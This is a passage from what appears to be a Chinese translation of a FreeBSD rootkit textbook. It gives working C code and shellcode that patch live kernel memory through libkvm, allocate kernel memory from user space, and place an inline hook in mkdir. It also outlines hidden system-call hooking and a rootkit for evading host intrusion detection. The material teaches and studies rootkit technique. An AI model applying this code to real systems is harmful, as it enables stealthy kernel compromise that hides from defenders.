fprintf(stderr, "ERROR: %s\n", errbuf);
exit(-1);
}
nl[0].n_name = "hello";
nl[1].n_name = "uprintf";
/* Find the address of hello and uprintf. */
if (❶kvm_nlist(kd, nl) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
if (!nl[0].n_value) {
fprintf(stderr, "ERROR: Symbol %s not found\n",
nl[0].n_name);
exit(-1);
}
if (!nl[1].n_value) {
fprintf(stderr, "ERROR: Symbol %s not found\n",
nl[1].n_name);
exit(-1);
}
/* Save a copy of hello. */
if (kvm_read(kd, nl[0].n_value, hello_code, SIZE) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Search through hello for the jns and call instructions. */
for (i = 0; i < SIZE; i++) {
if (hello_code[i] == 0x79)
jns_offset = i;
if (hello_code[i] == 0xe8)
❷call_offset = i;
}
/* Calculate the call statement operand. */
*(unsigned long *)&call_operand[0] = ❸nl[1].n_value -
❹(nl[0].n_value + call_offset + 5);
/* Patch hello. */
if (kvm_write(kd, nl[0].n_value + jns_offset, nop_code,
sizeof(nop_code) - 1) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
if (❺kvm_write(kd, nl[0].n_value + call_offset + 1, call_operand,
sizeof(call_operand)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Close kd. */
if (kvm_close(kd) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
exit(0);
}
列表 5-3:fix_hello_improved.c
注意 hello 是如何被修补来调用 uprintf 而不是 printf 的。首先,hello 和 uprintf 的地址分别存储在 nl[0].n_value 和 nl[1].n_value 中。接下来,hello 中 call 的相对地址存储在 call_offset 中。然后,通过从 uprintf 的地址中减去 call 之后的指令地址来计算一个新的 call 语句操作数,这个值存储在 call_operand[] 中。最后,旧的 call 语句操作数被 ❺ 用 call_operand[] 覆盖。
以下输出显示了在 ttyv1 上运行 fix_hello_improved 之前和之后执行 hello 的结果:
$ `sudo kldload ./hello.ko`
System call loaded at offset 210.
$ `perl -e 'syscall(210);'`
$ `gcc -o fix_hello_improved fix_hello_improved.c -lkvm`
$ `sudo ./fix_hello_improved`
$ `perl -e 'syscall(210);'`
FreeBSD Rocks!
成功!在这个阶段,你应该没有困难地修补任何内核代码字节。然而,当你想要应用的补丁太大,会覆盖你需要的附近指令时,会发生什么呢?答案是……
分配内核内存
在本节中,我将描述一组用于分配和释放内核内存的核心函数和宏。我们将在稍后使用这些函数,当我们明确解决上述问题时。
malloc 函数
malloc函数在内核空间中分配指定数量的内存字节。如果成功,则返回一个内核虚拟地址(适用于存储任何数据对象的适当对齐)。如果遇到错误,则返回NULL。
下面是malloc函数的原型:
#include <sys/types.h>
#include <sys/malloc.h>
void *
malloc(unsigned long size, struct malloc_type *type, int flags);
下面是每个参数的简要说明。
size
这指定了要分配的未初始化内核内存的数量。
type
此参数用于对内存使用进行统计和进行基本健全性检查。(可以通过运行命令vmstat -m来查看内存统计信息。)通常,我会将此参数设置为M_TEMP,这是用于各种临时数据缓冲区的malloc_type。
注意
关于struct malloc_type的更多信息,请参阅 malloc(9)手册页。
flags
此参数进一步限定malloc的操作特性。它可以设置为以下任何值之一:
M_ZERO
这将导致分配的内存被设置为 0。
M_NOWAIT
如果分配请求不能立即得到满足,这将导致malloc返回NULL。在调用malloc的中断上下文中应设置此标志。
M_WAITOK
如果分配请求不能立即得到满足,这将导致malloc休眠并等待资源。如果设置了此标志,malloc不能返回NULL。
必须指定M_NOWAIT或M_WAITOK。
MALLOC 宏
为了与旧代码兼容,malloc函数使用MALLOC宏调用,该宏定义如下:
#include <sys/types.h>
#include <sys/malloc.h>
MALLOC(space, cast, unsigned long size, struct malloc_type *type, int flags);
此宏在功能上等同于:
(space) = (cast)malloc((u_long)(size), type, flags)
free 函数
为了释放先前由malloc分配的内核内存,请调用free函数。
#include <sys/types.h>
#include <sys/malloc.h>
void
free(void *addr, struct malloc_type *type);
在这里,addr是先前malloc调用返回的内存地址,而type是其关联的malloc_type。
FREE 宏
为了与旧代码兼容,free函数使用FREE宏调用,该宏定义如下:
#include <sys/types.h>
#include <sys/malloc.h>
FREE(void *addr, struct malloc_type *type);
此宏在功能上等同于:
free((addr), type)
注意
在 4BSD 的历史某个时刻,其malloc算法的一部分是内联在宏中的,这就是为什么除了函数调用外,还有一个MALLOC宏。然而,FreeBSD 的malloc算法只是一个函数调用。因此,除非你正在编写与旧代码兼容的代码,否则不建议使用MALLOC和FREE宏。
示例
清单 5-4 显示了一个设计用于分配内核内存的系统调用模块。该系统调用使用两个参数调用:一个包含要分配的内存数量的长整数和一个指向返回地址的长整数指针。
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>
struct kmalloc_args {
unsigned long size;
unsigned long *addr;
};
/* System call to allocate kernel virtual memory. */
static int
kmalloc(struct thread *td, void *syscall_args)
{
struct kmalloc_args *uap;
uap = (struct kmalloc_args *)syscall_args;
int error;
unsigned long addr;
❶MALLOC(addr, unsigned long, uap->size, M_TEMP, M_NOWAIT);
❷error = copyout(&addr, uap->addr, sizeof(addr));
return(error);
}
/* The sysent for the new system call. */
static struct sysent kmalloc_sysent = {
2, /* number of arguments */
kmalloc /* implementing function */
};
/* The offset in sysent[] where the system call is to be allocated. */
static int offset = NO_SYSCALL;
/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD:
uprintf("System call loaded at offset %d.\n", offset);
break;
case MOD_UNLOAD:
uprintf("System call unloaded from offset %d.\n", offset);
break;
default:
error = EOPNOTSUPP;
break;
}
return(error);
}
SYSCALL_MODULE(kmalloc, &offset, &kmalloc_sysent, load, NULL);
清单 5-4:kmalloc.c
如您所见,此代码只是❶调用MALLOC宏来分配uap->size数量的内核内存,然后❷将返回的地址复制到用户空间。
列表 5-5 是设计用来执行上述系统调用的用户空间程序。
#include <stdio.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/module.h>
int
main(int argc, char *argv[])
{
int syscall_num;
struct module_stat stat;
unsigned long addr;
if (argc != 2) {
printf("Usage:\n%s <size>\n", argv[0]);
exit(0);
}
stat.version = sizeof(stat);
modstat(modfind("kmalloc"), &stat);
syscall_num = stat.data.intval;
syscall(syscall_num, (unsigned long)atoi(argv[1]), &addr);
printf("Address of allocated kernel memory: 0x%x\n", addr);
exit(0);
}
列表 5-5:interface.c
这个程序使用modstat/modfind方法(在第一章中描述)将第一个命令行参数传递给kmalloc;这个参数应包含要分配的内核内存量。然后输出最近分配的内存所在的内核虚拟地址。
^([1]) ¹ 约翰·鲍德温,个人通信,2006–2007。
从用户空间分配内核内存
现在您已经看到了如何使用模块代码“正确”地分配内核内存,让我们使用运行时内核内存修补来做到这一点。以下是我们将使用的算法(Cesare,1998,如 sd 和 devik,2001 所引用):
-
获取
mkdir系统调用的内存地址。 -
保存
sizeof(kmalloc)个字节的mkdir。 -
用
kmalloc覆盖mkdir。 -
调用
mkdir。 -
恢复
mkdir。
使用这个算法,你基本上是用自己的代码修补系统调用,发出系统调用(这将执行你的代码),然后恢复系统调用。这个算法可以用来在内核空间执行任何代码片段,而不需要 KLD。
然而,请注意,当你覆盖系统调用时,任何发出或当前正在执行系统调用的进程都会中断,导致内核恐慌。换句话说,这种算法固有的就是竞争条件或并发问题。
示例
列表 5-6 显示了设计用来分配内核内存的用户空间程序。这个程序用一个命令行参数调用:一个包含要分配的字节数的整数。
#include <fcntl.h>
#include <kvm.h>
#include <limits.h>
#include <nlist.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/module.h>
/* Kernel memory allocation (kmalloc) function code.
❶unsigned char kmalloc[] =
"\x55" /* push %ebp */
"\xb9\x01\x00\x00\x00" /* mov $0x1,%ecx */
"\x89\xe5" /* mov %esp,%ebp */
"\x53" /* push %ebx */
"\xba\x00\x00\x00\x00" /* mov $0x0,%edx */
"\x83\xec\x10" /* sub $0x10,%esp */
"\x89\x4c\x24\x08" /* mov %ecx,0x8(%esp) */
"\x8b\x5d\x0c" /* mov 0xc(%ebp),%ebx */
"\x89\x54\x24\x04" /* mov %edx,0x4(%esp) */
"\x8b\x03" /* mov (%ebx),%eax */
"\x89\x04\x24" /* mov %eax,(%esp) */
"\xe8\xfc\xff\xff\xff" /* call 4e2 <kmalloc+0x22> */
"\x89\x45\xf8" /* mov %eax,0xfffffff8(%ebp) */
"\xb8\x04\x00\x00\x00" /* mov $0x4,%eax */
"\x89\x44\x24\x08" /* mov %eax,0x8(%esp) */
"\x8b\x43\x04" /* mov 0x4(%ebx),%eax */
"\x89\x44\x24\x04" /* mov %eax,0x4(%esp) */
"\x8d\x45\xf8" /* lea 0xfffffff8(%ebp),%eax */
"\x89\x04\x24" /* mov %eax,(%esp) */
"\xe8\xfc\xff\xff\xff" /* call 500 <kmalloc+0x40> */
"\x83\xc4\x10" /* add $0x10,%esp */
"\x5b" /* pop %ebx */
"\x5d" /* pop %ebp */
"\xc3" /* ret */
"\x8d\xb6\x00\x00\x00\x00"; /* lea 0x0(%esi),%esi */
/*
* The relative address of the instructions following the call statements
* within kmalloc.
*/
#define OFFSET_1 0x26
#define OFFSET_2 0x44
int
main(int argc, char *argv[])
{
int i;
char errbuf[_POSIX2_LINE_MAX];
kvm_t *kd;
struct nlist nl[] = { {NULL}, {NULL}, {NULL}, {NULL}, {NULL}, };
unsigned char mkdir_code[sizeof(kmalloc)];
unsigned long addr;
if (argc != 2) {
printf("Usage:\n%s <size>\n", argv[0]);
exit(0);
}
/* Initialize kernel virtual memory access. */
kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
if (kd == NULL) {
fprintf(stderr, "ERROR: %s\n", errbuf);
exit(-1);
}
nl[0].n_name = "mkdir";
nl[1].n_name = "M_TEMP";
nl[2].n_name = "malloc";
nl[3].n_name = "copyout";
/* Find the address of mkdir, M_TEMP, malloc, and copyout. */
if (kvm_nlist(kd, nl) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
for (i = 0; i < 4; i++) {
if (!nl[i].n_value) {
fprintf(stderr, "ERROR: Symbol %s not found\n",
nl[i].n_name);
exit(-1);
}
}
/*
* Patch the kmalloc function code to contain the correct addresses
* for M_TEMP, malloc, and copyout.
*/
*(unsigned long *)&kmalloc[10] = nl[1].n_value;
*(unsigned long *)&kmalloc[34] = nl[2].n_value -
(nl[0].n_value + OFFSET_1);
*(unsigned long *)&kmalloc[64] = nl[3].n_value -
(nl[0].n_value + OFFSET_2);
/* Save sizeof(kmalloc) bytes of mkdir. */
if (kvm_read(kd, nl[0].n_value, mkdir_code, sizeof(kmalloc)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Overwrite mkdir with kmalloc. */
if (kvm_write(kd, nl[0].n_value, kmalloc, sizeof(kmalloc)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Allocate kernel memory. */
syscall(136, (unsigned long)atoi(argv[1]), &addr);
printf("Address of allocated kernel memory: 0x%x\n", addr);
/* Restore mkdir. */
if (kvm_write(kd, nl[0].n_value, mkdir_code, sizeof(kmalloc)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Close kd. */
if (kvm_close(kd) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
exit(0);
}
列表 5-6:kmalloc_reloaded.c
在前面的代码中,❶kmalloc函数代码是通过反汇编列表 5-4 中的kmalloc系统调用生成的:
$ `objdump -dR ./kmalloc.ko`
./kmalloc.ko: file format elf32-i386-freebsd
Disassembly of section .text:
000004c0 <kmalloc>:
4c0: 55 push %ebp
4c1: b9 01 00 00 00 mov $0x1,%ecx
4c6: 89 e5 mov %esp,%ebp
4c8: 53 push %ebx
4c9: ba 00 00 00 00 mov $0x0,%edx
❶4ca: R_386_32 M_TEMP
4ce: 83 ec 10 sub $0x10,%esp
4d1: 89 4c 24 08 mov %ecx,0x8(%esp)
4d5: 8b 5d 0c mov 0xc(%ebp),%ebx
4d8: 89 54 24 04 mov %edx,0x4(%esp)
4dc: 8b 03 mov (%ebx),%eax
4de: 89 04 24 mov %eax,(%esp)
4e1: e8 fc ff ff ff call 4e2 <kmalloc+0x22>
❷4e2: R_386_PC32 malloc
4e6: 89 45 f8 mov %eax,0xfffffff8(%ebp)
4e9: b8 04 00 00 00 mov $0x4,%eax
4ee: 89 44 24 08 mov %eax,0x8(%esp)
4f2: 8b 43 04 mov 0x4(%ebx),%eax
4f5: 89 44 24 04 mov %eax,0x4(%esp)
4f9: 8d 45 f8 lea 0xfffffff8(%ebp),%eax
4fc: 89 04 24 mov %eax,(%esp)
4ff: e8 fc ff ff ff call 500 <kmalloc+0x40>
❸500: R_386_PC32 copyout
504: 83 c4 10 add $0x10,%esp
507: 5b pop %ebx
508: 5d pop %ebp
509: c3 ret
50a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
注意objdump(1)如何报告三个需要动态重定位的指令。第一个,在偏移量 10 处,是❶指向M_TEMP地址的。第二个,在偏移量 34 处,是❷指向malloc调用语句操作数的。第三个,在偏移量 64 处,是❸指向copyout调用语句操作数的。
在kmalloc_reloaded.c中,我们在kmalloc函数代码中用以下五行来考虑这一点:
*(unsigned long *)&kmalloc[10] = ❶nl[1].n_value;
*(unsigned long *)&kmalloc[34] = ❷nl[2].n_value -
❸(nl[0].n_value + OFFSET_1);
*(unsigned long *)&kmalloc[64] = ❹nl[3].n_value -
❺(nl[0].n_value + OFFSET_2);
注意kmalloc是如何在偏移量 10 处修补的❶,指向M_TEMP的地址。它还在偏移量 34 和 64 处修补,分别使用❷malloc地址减去❸malloc调用后的指令地址,以及❹copyout地址减去❺copyout调用后的指令地址。
以下输出显示了kmalloc_reloaded的作用:
$ `gcc -o kmalloc_reloaded kmalloc_reloaded.c -lkvm`
$ `sudo ./kmalloc_reloaded 10`
Address of allocated kernel memory: 0xc1bb91b0
为了验证内核内存分配,您可以使用像ddb(4)这样的内核模式调试器:
KDB: enter: manual escape to debugger
[thread pid 13 tid 100003 ]
Stopped at kdb_enter+0x2c: leave
db> `examine/x 0xc1bb91b0`
0xc1bb91b0: 70707070
db>
0xc1bb91b4: 70707070
db>
0xc1bb91b8: dead7070
内联函数挂钩
回想一下 修补调用语句 结尾处提出的问题:当你想修补一些内核代码,但你的修补太大,会覆盖你需要的附近指令时,你会怎么做?答案是:你使用内联函数钩子。
通常,内联函数钩子在函数体内部放置一个无条件跳转到你控制的内存区域。这个内存将包含你想要函数执行的 "新" 代码,被无条件跳转覆盖的代码字节,以及一个跳回到原始函数的无条件跳转。这将扩展功能同时保留原始行为。当然,你不必保留原始行为。
示例
在本节中,我们将使用内联函数钩子修补 mkdir 系统调用,以便每次创建目录时都会输出短语 "Hello, world!\n"。
现在,让我们看看 mkdir 的反汇编代码,以确定我们应该放置跳转的位置,我们需要保留哪些字节,以及我们应该跳转回哪里。
$ `nm /boot/kernel/kernel | grep mkdir`
c04dfc00 T devfs_vmkdir
c06a84e0 t handle_written_mkdir
c05bfa10 T kern_mkdir
c05bfec0 T mkdir
c07d1f40 B mkdirlisthd
c04ef6a0 t msdosfs_mkdir
c06579e0 t nfs4_mkdir
c066a910 t nfs_mkdir
c067a830 T nfsrv_mkdir
c07515b6 r nfsv3err_mkdir
c06c32e0 t ufs_mkdir
c07b8d20 D vop_mkdir_desc
c05b77f0 T vop_mkdir_post
c07b8d44 d vop_mkdir_vp_offsets
$ `objdump -d --start-address=0xc05bfec0 /boot/kernel/kernel`
/boot/kernel/kernel: file format elf32-i386-freebsd
Disassembly of section .text:
c05bfec0 <mkdir>:
c05bfec0: 55 push %ebp
c05bfec1: 89 e5 mov %esp,%ebp
c05bfec3: 83 ec 10 sub $0x10,%esp
c05bfec6: 8b 55 0c mov 0xc(%ebp),%edx
c05bfec9: 8b 42 04 mov 0x4(%edx),%eax
c05bfecc: 89 44 24 0c mov %eax,0xc(%esp)
c05bfed0: 31 c0 xor %eax,%eax
c05bfed2: 89 44 24 08 mov %eax,0x8(%esp)
c05bfed6: 8b 02 mov (%edx),%eax
c05bfed8: 89 44 24 04 mov %eax,0x4(%esp)
c05bfedc: 8b 45 08 mov 0x8(%ebp),%eax
c05bfedf: 89 04 24 mov %eax,(%esp)
c05bfee2: e8 29 fb ff ff call c05bfa10 <kern_mkdir>
c05bfee7: c9 leave
c05bfee8: c3 ret
c05bfee9: 8d b4 26 00 00 00 00 lea 0x0(%esi),%esi
由于我想扩展 mkdir 的功能,而不是更改它,因此无条件跳转的最佳位置是在开始处。无条件跳转需要七个字节。如果你覆盖了 mkdir 的前七个字节,前三条指令将被消除,第四条指令(从偏移量六开始)将被破坏。因此,我们需要保存前四条指令(即前九个字节),以保留 mkdir 的功能;这也意味着你应该跳回到偏移量九,从第五条指令恢复执行。
在承诺这个计划之前,让我们看看不同机器上 mkdir 的反汇编代码。
$ `nm /boot/kernel/kernel | grep mkdir`
c047c560 T devfs_vmkdir
c0620e40 t handle_written_mkdir
c0556ca0 T kern_mkdir
c0557030 T mkdir
c071d57c B mkdirlisthd
c048a3e0 t msdosfs_mkdir
c05e2ed0 t nfs4_mkdir
c05d8710 t nfs_mkdir
c05f9140 T nfsrv_mkdir
c06b4856 r nfsv3err_mkdir
c063a670 t ufs_mkdir
c0702f40 D vop_mkdir_desc
c0702f64 d vop_mkdir_vp_offsets
$ `objdump -d --start-address=0xc0557030 /boot/kernel/kernel`
/boot/kernel/kernel: file format elf32-i386-freebsd
Disassembly of section .text:
c0557030 <mkdir>:
c0557030: 55 push %ebp
c0557031: 31 c9 xor %ecx,%ecx
c0557033: 89 e5 mov %esp,%ebp
c0557035: 83 ec 10 sub $0x10,%esp
c0557038: 8b 55 0c mov 0xc(%ebp),%edx
c055703b: 8b 42 04 mov 0x4(%edx),%eax
c055703e: 89 4c 24 08 mov %ecx,0x8(%esp)
c0557042: 89 44 24 0c mov %eax,0xc(%esp)
c0557046: 8b 02 mov (%edx),%eax
c0557048: 89 44 24 04 mov %eax,0x4(%esp)
c055704c: 8b 45 08 mov 0x8(%ebp),%eax
c055704f: 89 04 24 mov %eax,(%esp)
c0557052: e8 49 fc ff ff call c0556ca0 <kern_mkdir>
c0557057: c9 leave
c0557058: c3 ret
c0557059: 8d b4 26 00 00 00 00 lea 0x0(%esi),%esi
注意到这两个反汇编代码有多么不同。事实上,这次第五条指令从偏移量八开始,而不是九。如果代码跳回到偏移量九,系统肯定会崩溃。这归结为,在编写内联函数钩子时,通常,如果你想将钩子应用于广泛的系统,你将不得不避免使用硬编码的偏移量。
回顾一下两个反汇编代码,注意到 mkdir 每次都会调用 kern_mkdir。因此,我们可以跳回到那里(即,0xe8)。为了保留 mkdir 的功能,我们现在必须保存到但不包括 0xe8 的每个字节。
列表 5-7 显示了我的 mkdir 内联函数钩子。
注意
为了节省空间,省略了 kmalloc 函数代码。
#include <fcntl.h>
#include <kvm.h>
#include <limits.h>
#include <nlist.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/module.h>
/* Kernel memory allocation (kmalloc) function code. */
unsigned char kmalloc[] =
. . .
/*
* The relative address of the instructions following the call statements
* within kmalloc.
*/
#define K_OFFSET_1 0x26
#define K_OFFSET_2 0x44
/* "Hello, world!\n" function code. */
❶unsigned char hello[] =
"\x48" /* H */
"\x65" /* e */
"\x6c" /* l */
"\x6c" /* l */
"\x6f" /* o */
"\x2c" /* , */
"\x20" /* */
"\x77" /* w */
"\x6f" /* o */
"\x72" /* r */
"\x6c" /* l */
"\x64" /* d */
"\x21" /* ! */
"\x0a" /* \n */
"\x00" /* NULL */
"\x55" /* push %ebp */
"\x89\xe5" /* mov %esp,%ebp */
"\x83\xec\x04" /* sub $0x4,%esp */
"\xc7\x04\x24\x00\x00\x00\x00" /* movl $0x0,(%esp) */
"\xe8\xfc\xff\xff\xff" /* call uprintf */
"\x31\xc0" /* xor %eax,%eax */
"\x83\xc4\x04" /* add $0x4,%esp */
"\x5d"; /* pop %ebp */
/*
* The relative address of the instruction following the call uprintf
* statement within hello.
*/
#define H_OFFSET_1 0x21
/* Unconditional jump code. */
unsigned char jump[] =
"\xb8\x00\x00\x00\x00" /* movl $0x0,%eax */
"\xff\xe0"; /* jmp *%eax */
int
main(int argc, char *argv[])
{
int i, call_offset;
char errbuf[_POSIX2_LINE_MAX];
kvm_t *kd;
struct nlist nl[] = { {NULL}, {NULL}, {NULL}, {NULL}, {NULL},
{NULL}, };
unsigned char mkdir_code[sizeof(kmalloc)];
unsigned long addr, size;
/* Initialize kernel virtual memory access. */
kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
if (kd == NULL) {
fprintf(stderr, "ERROR: %s\n", errbuf);
exit(-1);
}
nl[0].n_name = "mkdir";
nl[1].n_name = "M_TEMP";
nl[2].n_name = "malloc";
nl[3].n_name = "copyout";
nl[4].n_name = "uprintf";
/*
* Find the address of mkdir, M_TEMP, malloc, copyout,
* and uprintf.
*/
if (kvm_nlist(kd, nl) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
for (i = 0; i < 5; i++) {
if (!nl[i].n_value) {
fprintf(stderr, "ERROR: Symbol %s not found\n",
nl[i].n_name);
exit(-1);
}
}
/* Save sizeof(kmalloc) bytes of mkdir. */
if (kvm_read(kd, nl[0].n_value, mkdir_code, sizeof(kmalloc)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Search through mkdir for call kern_mkdir. */
for (i = 0; i < sizeof(kmalloc); i++) {
if (mkdir_code[i] == 0xe8) {
call_offset = i;
break;
}
}
/* Determine how much memory you need to allocate. */
size = (unsigned long)sizeof(hello) + (unsigned long)call_offset +
(unsigned long)sizeof(jump);
/*
* Patch the kmalloc function code to contain the correct addresses
* for M_TEMP, malloc, and copyout.
*/
*(unsigned long *)&kmalloc[10] = nl[1].n_value;
*(unsigned long *)&kmalloc[34] = nl[2].n_value -
(nl[0].n_value + K_OFFSET_1);
*(unsigned long *)&kmalloc[64] = nl[3].n_value -
(nl[0].n_value + K_OFFSET_2);
/* Overwrite mkdir with kmalloc. */
if (kvm_write(kd, nl[0].n_value, kmalloc, sizeof(kmalloc)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Allocate kernel memory. */
syscall(136, size, &addr);
/* Restore mkdir. */
if (kvm_write(kd, nl[0].n_value, mkdir_code, sizeof(kmalloc)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/*
* Patch the "Hello, world!\n" function code to contain the
* correct addresses for the "Hello, world!\n" string and uprintf.
*/
*(unsigned long *)&hello[24] = addr;
*(unsigned long *)&hello[29] = nl[4].n_value - (addr + H_OFFSET_1);
/*
* Place the "Hello, world!\n" function code into the recently
* allocated kernel memory.
*/
if (kvm_write(kd, addr, hello, sizeof(hello)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/*
* Place all the mkdir code up to but not including call kern_mkdir
* after the "Hello, world!\n" function code.
*/
if (kvm_write(kd, addr + (unsigned long)sizeof(hello) - 1,
mkdir_code, call_offset) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/*
* Patch the unconditional jump code to jump back to the call
* kern_mkdir statement within mkdir.
*/
*(unsigned long *)&jump[1] = nl[0].n_value +
(unsigned long)call_offset;
/*
* Place the unconditional jump code into the recently allocated
* kernel memory, after the mkdir code.
*/
if (kvm_write(kd, addr + (unsigned long)sizeof(hello) - 1 +
(unsigned long)call_offset, jump, sizeof(jump)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/*
* Patch the unconditional jump code to jump to the start of the
* "Hello, world!\n" function code.
*/
❷*(unsigned long *)&jump[1] = addr + 0x0f;
/*
* Overwrite the beginning of mkdir with the unconditional
* jump code.
*/
if (kvm_write(kd, nl[0].n_value, jump, sizeof(jump)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Close kd. */
if (kvm_close(kd) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
exit(0);
}
列表 5-7:mkdir_patch.c
如你所见,使用内联函数钩子相对简单(尽管它有些冗长)。实际上,你之前没有见过的唯一代码片段是❶ "Hello, world!\n" 函数代码。它相当简单,但有两个重要的要点。
首先,注意hello的前 15 个字节实际上是数据;更确切地说,这些字节组成了字符串Hello, world!\n。实际的汇编语言指令从偏移量 15 开始。这就是为什么无条件跳转代码,它覆盖了mkdir,被设置为addr + 0x0f。
第二,注意hello的最后三条指令。第一条清零了%eax寄存器,第二条清理了堆栈,最后一条恢复了%ebp寄存器。这样做是为了当mkdir实际开始执行时,它就像挂钩从未发生一样。
下面的输出显示了mkdir_patch的作用:
$ `gcc -o mkdir_patch mkdir_patch.c -lkvm`
$ `sudo ./mkdir_patch`
$ `mkdir TESTING`
Hello, world!
$ `ls -F`
TESTING/ mkdir_patch* mkdir_patch.c
陷阱
由于mkdir_patch.c是一个简单的例子,它未能揭示与内联函数挂钩相关的某些典型陷阱。
首先,通过在你要保留行为的功能体内部放置一个无条件跳转,你很可能会引起内核恐慌。这是因为无条件跳转代码需要使用通用寄存器;然而,在函数体内部,所有通用寄存器可能已经被使用。为了解决这个问题,在跳转之前将你要使用的寄存器推入堆栈,然后在跳转之后将其弹出。
第二,如果你复制了一个call或跳转语句并将其放置到内存的不同区域,你不能直接执行它;你必须首先调整它的操作数。这是因为call或跳转语句的机器码操作数是一个相对地址。
最后,在打补丁的过程中,你的代码可能会被抢占,在这段时间内,你的目标函数可能会以不完整的状态执行。因此,如果可能的话,你应该避免使用多次写入来打补丁。
隐藏系统调用挂钩
在结束这一章之前,让我们简要地看看运行时内核内存打补丁的非平凡应用:隐藏系统调用挂钩。也就是说,在不修改系统调用表或任何系统调用函数的情况下实现系统调用挂钩。这是通过用内联函数挂钩修补系统调用调度器来实现的,使其引用一个特洛伊木马系统调用表而不是原始表。这使得原始表变得无功能,但保持了其完整性,使得特洛伊木马表可以将系统调用请求定向到任何你喜欢的处理程序。
由于执行此操作的代码相当长(比mkdir_patch.c长),我将简单地解释如何执行,并将实际的代码留给你。
FreeBSD 的系统调用调度器是syscall,它在文件/sys/i386/i386/trap.c中实现,如下所示。
注意
为了节省空间,任何与这次讨论无关的代码都被省略了。
void
syscall(frame)
struct trapframe frame;
{
caddr_t params;
struct sysent *callp;
struct thread *td = curthread;
struct proc *p = td->td_proc;
register_t orig_tf_eflags;
u_int sticks;
int error;
int narg;
int args[8];
u_int code;
. . .
if (code >= p->p_sysent->sv_size)
callp = &p->p_sysent->sv_table[0];
else
❶callp = &p->p_sysent->sv_table[code];
. . .
}
在syscall中,行❶引用了系统调用表并将要调度的系统调用地址存储到callp中。以下是反汇编后的这一行代码:
486: 64 a1 00 00 00 00 mov %fs:0x0,%eax
48c: 8b 00 mov (%eax),%eax
48e: 8b 80 a0 01 00 00 mov 0x1a0(%eax),%eax
494: 8b 40 04 mov 0x4(%eax),%eax
第一条指令将当前运行的线程curthread(即%fs段寄存器)加载到%eax。thread结构体中的第一个字段是指向其相关proc结构体的指针;因此,第二条指令将当前进程加载到%eax。下一条指令将p_sysent加载到%eax。这可以通过验证,因为p_sysent字段(即sysentvec指针)位于proc结构体中的 0x1a0 偏移量处。最后一条指令将系统调用表加载到%eax。这也可以通过验证,因为sv_table字段位于sysentvec结构体中的 0x4 偏移量处。这一行是你需要扫描和修补的。然而,请注意,根据系统不同,系统调用表可能被加载到不同的通用寄存器中。
此外,在篡改系统调用表后,加载的任何系统调用模块都将无法工作。然而,由于你现在控制着负责加载模块的系统调用,这可以修复。
就这些了!你真正需要做的只是修补一个地方。当然,魔鬼在于细节。(事实上,我在注意事项中列出的一切都是试图修补那个地方的直接结果。)
注意
如果你篡改了自己的系统调用表,将使传统系统调用钩子的效果失效。换句话说,这种隐藏系统调用的技术可以用于防御性应用。
结论
运行时内核内存修补是修改软件逻辑的最强大技术之一。理论上,你可以用它即时重写整个操作系统。此外,它检测起来有些困难,这取决于你放置修补的位置以及你是否使用了内联函数钩子。
在撰写本文时,一种用于隐藏运行时内核内存修补的技术已被公布。请参阅 Jamie Butler 和 Sherri Sparks 在Phrack杂志第 63 期发表的“提高 Windows Rootkit 检测的门槛”。尽管这篇文章是从 Windows 的角度写的,但该理论可以应用于任何x86 操作系统。
最后,像大多数 rootkit 技术一样,运行时内核内存修补有合法用途。例如,微软将其称为热修补,并用于修补系统而无需重启。
第六章 整合一切
我们现在将使用前几章中的技术来编写一个完整的示例 rootkit——尽管这是一个微不足道的例子——以绕过基于主机的入侵检测系统(HIDSes)。
HIDS 的功能
通常,HIDS 被设计用来监控、检测和记录文件系统上文件的修改。也就是说,它被设计用来检测文件篡改和特洛伊木马二进制文件。对于每个文件,HIDS 都会创建文件数据的加密哈希并将其记录在数据库中;任何对文件的更改都会导致生成不同的哈希值。每当 HIDS 审计文件系统时,它会将每个文件的当前哈希值与其数据库中的对应值进行比较;如果两者不同,则标记该文件。
从原则上讲,这是一个好主意,但……
绕过 HIDS
HIDS(主机入侵检测系统)软件的问题在于它信任并使用操作系统的 API。通过滥用这种信任(例如,挂钩这些 API),你可以绕过任何 HIDS。
注意
